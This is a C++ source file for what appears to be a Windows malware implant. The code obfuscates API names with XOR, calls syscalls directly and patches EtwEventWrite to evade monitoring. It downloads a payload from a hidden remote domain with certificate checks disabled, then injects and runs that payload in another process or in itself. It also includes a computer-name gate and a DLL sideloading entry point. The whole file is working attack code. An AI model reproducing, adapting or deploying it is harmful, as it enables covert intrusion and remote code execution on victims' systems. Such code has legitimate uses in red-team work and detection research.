implant.cpp

#include "implant.hpp"

#ifdef DEBUG
#include <iostream>
#endif

#include "cryptDef.h"

#include "helpers.h"

// #pragma comment(linker, "/entry:WinMain")


GetProcAddress_t pGetProcAddress;
GetModuleHandle_t pGetModuleHandle;


EXTERN_C DWORD getGlobalHash()
{
	return GlobalHash;
}


EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
	SyscallList* singleton = SyscallList::GetInstance();
	return singleton->getSyscallNumber(FunctionHash);
}


EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
	SyscallList* singleton = SyscallList::GetInstance();
	return singleton->getSyscallAddress(FunctionHash);
}


void XOR(char * data, size_t data_len, char * key, size_t key_len) 
{
	int j = 0;
	for (int i = 0; i < data_len; i++) 
	{
		if (j == key_len-1) 
			j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
	
	data[data_len-1]='\0';
}


DWORD SW3_HashSyscall(const char *FunctionName)
{
    DWORD Hash = 0x811C9DC5; // FNV offset basis
    DWORD FNV_prime = 0x01000193; // FNV prime

    int c;
    while (c = *FunctionName++) {
        Hash ^= c;                 // XOR the byte into the lowest byte of the hash
        Hash *= FNV_prime;          // Multiply by FNV prime
    }

    return Hash & 0xFFFFFFFF;       // Ensure the result is a 32-bit hash
}


SyscallList* SyscallList::singleton_= nullptr;


SyscallList *SyscallList::GetInstance()
{
    if(singleton_==nullptr){
        singleton_ = new SyscallList();
    }
    return singleton_;
}


LPCWSTR charArrayToLPCWSTR(const char* charArray) 
{
    int len = MultiByteToWideChar(CP_ACP, 0, charArray, -1, NULL, 0);
    wchar_t* wString = new wchar_t[len];
    MultiByteToWideChar(CP_ACP, 0, charArray, -1, wString, len);

    return wString;
}


#include <fstream>

    
typedef struct _WINHTTP_PROXY_INFO {
  DWORD  dwAccessType;
  LPWSTR lpszProxy;
  LPWSTR lpszProxyBypass;
} WINHTTP_PROXY_INFO, *LPWINHTTP_PROXY_INFO, *PWINHTTP_PROXY_INFO;


typedef BOOL (WINAPI *WinHttpGetDefaultProxyConfiguration_t)(
WINHTTP_PROXY_INFO *pProxyInfo
);


int HttpGet(LPWSTR domain, LPWSTR uri, int port, LPSTR response, int& responseSize, bool isHttps)
{
#ifdef DEBUG
		std::cout << "HttpGet" << std::endl;
#endif

	DWORD dwSize = 0;
    
    LPSTR pszOutBuffer;
    BOOL bResults = FALSE;
	BOOL bRes = FALSE;
    HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;

	// LoadLibraryA "Winhttp.dll"
	XOR((char *) sWinhttpDLL, sizeof(sWinhttpDLL), XorKey, sizeof(XorKey));
	XOR((char *) sLoadLibraryA, sizeof(sLoadLibraryA), XorKey, sizeof(XorKey));
	LoadLibraryA_t pLoadLibraryA = (LoadLibraryA_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sLoadLibraryA);
	HMODULE winhttpModule = pLoadLibraryA(sWinhttpDLL); 

	// WinHttpOpen
	XOR((char *) sWinHttpOpen, sizeof(sWinHttpOpen), XorKey, sizeof(XorKey));
	WinHttpOpen_t pWinHttpOpen = (WinHttpOpen_t)pGetProcAddress(winhttpModule, sWinHttpOpen);
	XOR((char *) sUserAgent, sizeof(sUserAgent), XorKey, sizeof(XorKey));
	LPCWSTR wsUserAgent = charArrayToLPCWSTR(sUserAgent);
    hSession = pWinHttpOpen(wsUserAgent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

#ifdef DEBUG
		std::cout << "pWinHttpOpen " << hSession << std::endl;
#endif

#ifdef DEBUG
		std::cout << "sUserAgent " << sUserAgent << std::endl;
#endif

    if (hSession)
	{
		// WinHttpConnect
		XOR((char *) sWinHttpConnect, sizeof(sWinHttpConnect), XorKey, sizeof(XorKey));
		WinHttpConnect_t pWinHttpConnect = (WinHttpConnect_t)pGetProcAddress(winhttpModule, sWinHttpConnect);
        hConnect = pWinHttpConnect(hSession, domain, port, 0);
	}

#ifdef DEBUG
		std::cout << "pWinHttpConnect " << hConnect << std::endl;
#endif

    DWORD dwFlags = 0;
    if(isHttps)
        dwFlags = WINHTTP_FLAG_REFRESH | WINHTTP_FLAG_SECURE;

    if (hConnect)
	{
		// WinHttpOpenRequest
		XOR((char *) sWinHttpOpenRequest, sizeof(sWinHttpOpenRequest), XorKey, sizeof(XorKey));
		WinHttpOpenRequest_t pWinHttpOpenRequest = (WinHttpOpenRequest_t)pGetProcAddress(winhttpModule, sWinHttpOpenRequest);
        hRequest = pWinHttpOpenRequest(hConnect, L"GET", uri, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags);
	}

#ifdef DEBUG
		std::cout << "pWinHttpOpenRequest " << hRequest << std::endl;
#endif

	if(isHttps)
    {
        dwFlags =
            SECURITY_FLAG_IGNORE_UNKNOWN_CA |
            SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
            SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
            SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;

		// WinHttpSetOptio
		XOR((char *) sWinHttpSetOption, sizeof(sWinHttpSetOption), XorKey, sizeof(XorKey));
		WinHttpSetOption_t pWinHttpSetOption = (WinHttpSetOption_t)pGetProcAddress(winhttpModule, sWinHttpSetOption);
        bRes = pWinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
    }

#ifdef DEBUG
		std::cout << "pWinHttpSetOption " << hRequest << std::endl;
		std::cout << "pWinHttpSetOption " << bRes << std::endl;
#endif

    if (hRequest)
	{
		// WinHttpAddRequestHeaders
		XOR((char *) sWinHttpAddRequestHeaders, sizeof(sWinHttpAddRequestHeaders), XorKey, sizeof(XorKey));
		WinHttpAddRequestHeaders_t pWinHttpAddRequestHeaders = (WinHttpAddRequestHeaders_t)pGetProcAddress(winhttpModule, sWinHttpAddRequestHeaders);
		XOR((char *) sAdditionalHeader, sizeof(sAdditionalHeader), XorKey, sizeof(XorKey));
		LPCWSTR wsAdditionalHeader = charArrayToLPCWSTR(sAdditionalHeader);
		bRes = pWinHttpAddRequestHeaders(hRequest, wsAdditionalHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD);

#ifdef DEBUG
		std::cout << "sWinHttpAddRequestHeaders " << sWinHttpAddRequestHeaders << std::endl;
		std::cout << "sAdditionalHeader " << sAdditionalHeader << std::endl;
		std::cout << "pWinHttpAddRequestHeaders " << bRes << std::endl;
#endif
		// WinHttpSendRequest
		XOR((char *) sWinHttpSendRequest, sizeof(sWinHttpSendRequest), XorKey, sizeof(XorKey));
		WinHttpSendRequest_t pWinHttpSendRequest = (WinHttpSendRequest_t)pGetProcAddress(winhttpModule, sWinHttpSendRequest);
		bResults = pWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);

#ifdef DEBUG
		std::cout << "pWinHttpSendRequest " << bResults << std::endl;

		DWORD errorMessageID = ::GetLastError();
		std::cout << "errorMessageID " << errorMessageID << std::endl;

		LPSTR messageBuffer = nullptr;
		size_t size = FormatMessageA(
			FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
			NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);

		std::string message(messageBuffer, size);

		std::cout << "error " << message << std::endl;
#endif
	}

	
        

	// WinHttpReceiveResponse
	XOR((char *) sWinHttpReceiveResponse, sizeof(sWinHttpReceiveResponse), XorKey, sizeof(XorKey));
	WinHttpReceiveResponse_t pWinHttpReceiveResponse = (WinHttpReceiveResponse_t)pGetProcAddress(winhttpModule, sWinHttpReceiveResponse);
	bResults = pWinHttpReceiveResponse(hRequest, NULL);

#ifdef DEBUG
	std::cout << "pWinHttpReceiveResponse " << bResults << std::endl;
#endif
	
	// WinHttpQueryHeaders
    DWORD dwStatusCode = 0;
    dwSize = sizeof(dwStatusCode);

	XOR((char *) sWinHttpQueryHeaders, sizeof(sWinHttpQueryHeaders), XorKey, sizeof(XorKey));
	WinHttpQueryHeaders_t pWinHttpQueryHeaders = (WinHttpQueryHeaders_t)pGetProcAddress(winhttpModule, sWinHttpQueryHeaders);
    pWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &dwStatusCode, &dwSize, WINHTTP_NO_HEADER_INDEX);

#ifdef DEBUG
	std::cout << "pWinHttpQueryHeaders dwSize " << dwSize << std::endl;
#endif

	// WinHttpReadData & WinHttpQueryDataAvailable
	XOR((char *) sWinHttpQueryDataAvailable, sizeof(sWinHttpQueryDataAvailable), XorKey, sizeof(XorKey));
	XOR((char *) sWinHttpReadData, sizeof(sWinHttpReadData), XorKey, sizeof(XorKey));
	XOR((char *) sWinHttpCloseHandle, sizeof(sWinHttpCloseHandle), XorKey, sizeof(XorKey));

	VirtualAlloc_t pVirtualAlloc  = (VirtualAlloc_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sVirtualAlloc);	
	VirtualFree_t pVirtualFree  = (VirtualFree_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sVirtualFree);	
	WinHttpQueryDataAvailable_t pWinHttpQueryDataAvailable = (WinHttpQueryDataAvailable_t)pGetProcAddress(winhttpModule, sWinHttpQueryDataAvailable);
	WinHttpReadData_t pWinHttpReadData = (WinHttpReadData_t)pGetProcAddress(winhttpModule, sWinHttpReadData);

#ifdef DEBUG
	std::cout << "bResults " << bResults << std::endl;
#endif

    if (bResults)
    {
        do
        {
            dwSize = 0;
            if (!pWinHttpQueryDataAvailable(hRequest, &dwSize))
			{
			}

            pszOutBuffer = (char*)pVirtualAlloc(NULL, dwSize+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
			            
			if (!pszOutBuffer)
            {
                dwSize = 0;
            }
            else
            {
                ZeroMemory(pszOutBuffer, dwSize + 1);

                DWORD dwDownloaded = 0;
                if (!pWinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
				{
				}
                else
                {
					memcpy(response+responseSize, pszOutBuffer, dwSize);
					responseSize+=dwSize;
                }
            }
			pVirtualFree(pszOutBuffer, dwSize+1, MEM_RELEASE);

        } while (dwSize > 0);
    }

	// WinHttpCloseHandle
	WinHttpCloseHandle_t pWinHttpCloseHandle = (WinHttpCloseHandle_t)pGetProcAddress(winhttpModule, sWinHttpCloseHandle);
	if (hRequest) 
        pWinHttpCloseHandle(hRequest);
    if (hConnect) 
        pWinHttpCloseHandle(hConnect);
    if (hSession) 
        pWinHttpCloseHandle(hSession);

    return dwStatusCode;
}


int FindTarget(const char *procname)
{	
	CreateToolhelp32Snapshot_t pCreateToolhelp32Snapshot = (CreateToolhelp32Snapshot_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sCreateToolhelp32Snapshot);
	HANDLE hProcSnap = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	
	if (INVALID_HANDLE_VALUE == hProcSnap)
		return 0;
		
	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32); 
	
	CloseHandle_t pCloseHandle = (CloseHandle_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sCloseHandle);
	
	Process32First_t pProcess32First = (Process32First_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sProcess32First);
	if (!pProcess32First(hProcSnap, &pe32)) 
	{
		pCloseHandle(hProcSnap);
		return 0;
	}
		
	int pid = 0;
	Process32Next_t pProcess32Next = (Process32Next_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sProcess32Next);
	while (pProcess32Next(hProcSnap, &pe32)) 
	{
		if (strcmp(procname, pe32.szExeFile) == 0) 
		{
			pid = pe32.th32ProcessID;
			break;
		}
	}
			
	pCloseHandle(hProcSnap);
			
	return pid;
}


bool patchEtw(void *pEventWrite, HANDLE hProc)
{
	SIZE_T sizeToAlloc=1024;
	ULONG oldAccess;
	NTSTATUS status = Sw3NtProtectVirtualMemory_(hProc, &pEventWrite, &sizeToAlloc, PAGE_READWRITE, &oldAccess);

	if(status!=0)
		return false;

	#ifdef _WIN64
		// memcpy(pEventWrite, "\x48\x33\xc0\xc3", 4); 		// xor rax, rax; ret
		char patch[] = "\x48\x33\xc0\xc3";					 // xor rax, rax; ret
		int patchSize = 4;
	#else
		// memcpy(pEventWrite, "\x33\xc0\xc2\x14\x00", 5);		// xor eax, eax; ret 14
		char patch[] patch = "\x33\xc0\xc2\x14\x00"; 			// xor rax, rax; ret
		int patchSize = 5;
	#endif
	
	status = Sw3NtWriteVirtualMemory_(hProc, pEventWrite, (PVOID)patch, patchSize, 0);
	if(status!=0)
		return false;

	status = Sw3NtProtectVirtualMemory_(hProc, &pEventWrite, &sizeToAlloc, oldAccess, &oldAccess);
	if(status!=0)
		return false;
	
	return true;
}


int Inject(HANDLE hProc, char * payload, int payload_len) 
{			
	PVOID pRemoteCode=NULL;
	SIZE_T sizeToAlloc = payload_len;
	NTSTATUS result;

#ifdef DEBUG
	std::cout << "hProc " << hProc << std::endl;
#endif

	if(hProc!=INVALID_HANDLE_VALUE)
	{
		void * pEventWrite = (void*)pGetProcAddress(pGetModuleHandle(sNtdllDLL), sEtwEventWrite);
		bool isPatchEtw = patchEtw(pEventWrite, hProc);

#ifdef DEBUG
	std::cout << "isPatchEtw " << isPatchEtw << std::endl;
#endif
		result = Sw3NtAllocateVirtualMemory_(hProc, &pRemoteCode, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	}
	else
	{
		VirtualAlloc_t pVirtualAlloc  = (VirtualAlloc_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sVirtualAlloc);	
		pRemoteCode= pVirtualAlloc(NULL, payload_len, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
	}

#ifdef DEBUG
	std::cout << "Sw3NtAllocateVirtualMemory_ result " << (long)(result) << std::endl;
#endif

	result = Sw3NtWriteVirtualMemory_(hProc, pRemoteCode, (PVOID)payload, sizeToAlloc, 0);

#ifdef DEBUG
	std::cout << "Sw3NtWriteVirtualMemory_ result " << (long)(result) << std::endl;
#endif

	ULONG oldAccess;
	result = Sw3NtProtectVirtualMemory_(hProc, &pRemoteCode, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);

#ifdef DEBUG
	std::cout << "Sw3NtProtectVirtualMemory_ result " << (long)(result) << std::endl;
#endif

	HANDLE hThread;
	// __debugbreak();

	result = Sw3NtCreateThreadEx_(&hThread, 0x1FFFFF, NULL, hProc, (void*) pRemoteCode, NULL, FALSE, 0, 0, 0, NULL);

#ifdef DEBUG
	std::cout << "hThread " << hThread << std::endl;
	std::cout << "result " << (long)(result) << std::endl;
#endif

	if (hThread != NULL) 
	{
		if(hProc!=INVALID_HANDLE_VALUE)
		{
			LARGE_INTEGER timeOut;
			timeOut.QuadPart = 500;
			Sw3NtWaitForSingleObject_(hThread, false, &timeOut);
		}
		else
		{
			WaitForSingleObject_t pWaitForSingleObject  = (WaitForSingleObject_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sWaitForSingleObject);	
			pWaitForSingleObject(hThread, 0xFFFFFFFF);
		}

		Sw3NtClose_(hThread);
		return 0;
	}
	
	return -1;
}


#define INFO_BUFFER_SIZE 255


int process()
{
#ifdef DEBUG
	std::cout << "process " << std::endl;
#endif

	XOR((char *) sKernel32DLL, sizeof(sKernel32DLL), XorKey, sizeof(XorKey));
	XOR((char *) sGetProcAddress, sizeof(sGetProcAddress), XorKey, sizeof(XorKey));
	XOR((char *) sGetModuleHandleA, sizeof(sGetModuleHandleA), XorKey, sizeof(XorKey));

	pGetProcAddress = (GetProcAddress_t) hlpGetProcAddress(hlpGetModuleHandle(wsKernel32DLL), sGetProcAddress);
	pGetModuleHandle = (GetModuleHandle_t) pGetProcAddress(hlpGetModuleHandle(wsKernel32DLL), sGetModuleHandleA);

	TCHAR  infoBuf[INFO_BUFFER_SIZE];
	DWORD  bufCharCount = INFO_BUFFER_SIZE;

	if(sizeof(sTarget) > 1)
	{
		XOR((char *) sGetComputerName, sizeof(sGetComputerName), XorKey, sizeof(XorKey));
		XOR((char *) sTarget, sizeof(sTarget), XorKey, sizeof(XorKey));

#ifdef DEBUG
	std::cout << "sGetComputerName " << sGetComputerName << std::endl;
#endif

		GetComputerNameA_t pGetComputerNameA  = (GetComputerNameA_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sGetComputerName);	
		pGetComputerNameA(infoBuf, &bufCharCount);

#ifdef DEBUG
		std::cout << "infoBuf " << infoBuf << std::endl;
		std::cout << "sTarget " << sTarget << std::endl;
#endif

		int result = _stricmp(infoBuf, sTarget);
		if (result != 0) 
			return 0;
	}

	XOR((char *) sVirtualAlloc, sizeof(sVirtualAlloc), XorKey, sizeof(XorKey));
	XOR((char *) sVirtualFree, sizeof(sVirtualFree), XorKey, sizeof(XorKey));
	XOR((char *) sCreateToolhelp32Snapshot, sizeof(sCreateToolhelp32Snapshot), XorKey, sizeof(XorKey));
	XOR((char *) sProcess32First, sizeof(sProcess32First), XorKey, sizeof(XorKey));
	XOR((char *) sProcess32Next, sizeof(sProcess32Next), XorKey, sizeof(XorKey));
	XOR((char *) sInjectionProcess, sizeof(sInjectionProcess), XorKey, sizeof(XorKey));
	XOR((char *) sCloseHandle, sizeof(sCloseHandle), XorKey, sizeof(XorKey));
	XOR((char *) sWaitForSingleObject, sizeof(sWaitForSingleObject), XorKey, sizeof(XorKey));
	XOR((char *) sDomain, sizeof(sDomain), XorKey, sizeof(XorKey));
	XOR((char *) sUri, sizeof(sUri), XorKey, sizeof(XorKey));
	XOR((char *) sNtdllDLL, sizeof(sNtdllDLL), XorKey, sizeof(XorKey));
	XOR((char *) sEtwEventWrite, sizeof(sEtwEventWrite), XorKey, sizeof(XorKey));

	//
	// ETW patch
	//
	SyscallList* singleton = SyscallList::GetInstance();

	
	void * pEventWrite = (void*)pGetProcAddress(pGetModuleHandle(sNtdllDLL), sEtwEventWrite);
	bool isPatchEtw = patchEtw(pEventWrite, GetCurrentProcess());

#ifdef DEBUG
	std::cout << "isPatchEtw " << isPatchEtw << std::endl;
#endif

	int responseSize=0;
	int maxSize = 1000000;

	VirtualAlloc_t pVirtualAlloc  = (VirtualAlloc_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sVirtualAlloc);	
	LPSTR response = (char*)pVirtualAlloc(NULL, maxSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);

#ifdef DEBUG
	std::cout << "sDomain " << sDomain << std::endl;
	std::cout << "sUri " << sUri << std::endl;
#endif

	wchar_t wDomain[256];
	mbstowcs(wDomain, sDomain, sizeof(sDomain));
	LPWSTR pwDomain = wDomain;

	wchar_t wUri[256];
	mbstowcs(wUri, sUri, sizeof(sUri));
	LPWSTR pwUri = wUri;

	HttpGet(pwDomain, pwUri, port, response, responseSize, isHttps);

#ifdef DEBUG
	std::cout << "responseSize " << responseSize << std::endl;
#endif

	if(responseSize==0)
		return -1;

#ifdef DEBUG
	std::cout << "sInjectionProcess " << sInjectionProcess << std::endl;
#endif

	DWORD pid = -1;
	if (strcmp(sInjectionProcess, "self") != 0) 
	{
		pid = FindTarget(sInjectionProcess);
	}

#ifdef DEBUG
	std::cout << "pid " << pid << std::endl;
#endif

	if (pid) 
	{			

		HANDLE hProc=(HANDLE)INVALID_HANDLE_VALUE;

		if(pid!=-1)
		{
			static OBJECT_ATTRIBUTES objAttr;
			InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
			static CLIENT_ID cID;
			cID.UniqueProcess = (HANDLE)(uintptr_t)pid;
			cID.UniqueThread = 0;

			// // __debugbreak();
			NTSTATUS result = Sw3NtOpenProcess_(&hProc, 
						PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
						&objAttr, 
						&cID);
		}

#ifdef DEBUG
		std::cout << "hProc " << hProc << std::endl;
#endif

		if (hProc != NULL) 
		{			
			Inject(hProc, response, responseSize);

			Sw3NtClose_(hProc);
		}
	}

	// VirtualFree_t pVirtualFree  = (VirtualFree_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sVirtualFree);	
	// pVirtualFree(response, maxSize, MEM_RELEASE);

	return 0;
}


#ifdef EXE


#ifdef DEBUG
int main()
#else
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
#endif
{		
	process();
	return 0;
}


#elif DLL


#include <thread>
#include <chrono>


void DelayedInitialization() 
{
    std::this_thread::sleep_for(std::chrono::milliseconds(100));
	process();	
}


extern "C" __declspec(dllexport) int Go(void);
int Go(void) 
{    
	process();	
	return 0;
}


// for sideloading
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) 
{
	switch ( fdwReason ) {
			case DLL_PROCESS_ATTACH:
					// need to delay the execution to let the time win api to initialize
					std::thread(DelayedInitialization).detach();
					break;
			case DLL_THREAD_ATTACH:
					break;
			case DLL_THREAD_DETACH:
					break;
			case DLL_PROCESS_DETACH:
					break;
			}
	return TRUE;
}


#endif